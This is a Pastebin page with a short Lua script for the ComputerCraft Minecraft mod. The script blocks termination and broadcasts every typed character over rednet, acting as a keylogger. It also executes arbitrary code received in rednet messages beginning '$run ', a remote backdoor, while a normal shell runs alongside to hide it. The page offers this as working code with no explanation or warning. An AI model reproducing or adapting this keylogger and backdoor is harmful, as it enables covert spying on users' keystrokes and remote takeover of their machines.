Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function logger()
- os.pullEvent=os.pullEventRaw
- while true do
- event,id,msg,dist=os.pullEvent()
- if event == "char" then
- rednet.broadcast(id)
- elseif event == "rednet_message" then
- if msg:sub(1,5) == "$run " then
- pcall(loadstring(msg:sub(6)))
- end
- end
- end
- end
- function shell1()
- shell.run("rom/programs/shell")
- end
- parallel.waitForAny(shell1,logger)
Add Comment
Please, Sign In to add comment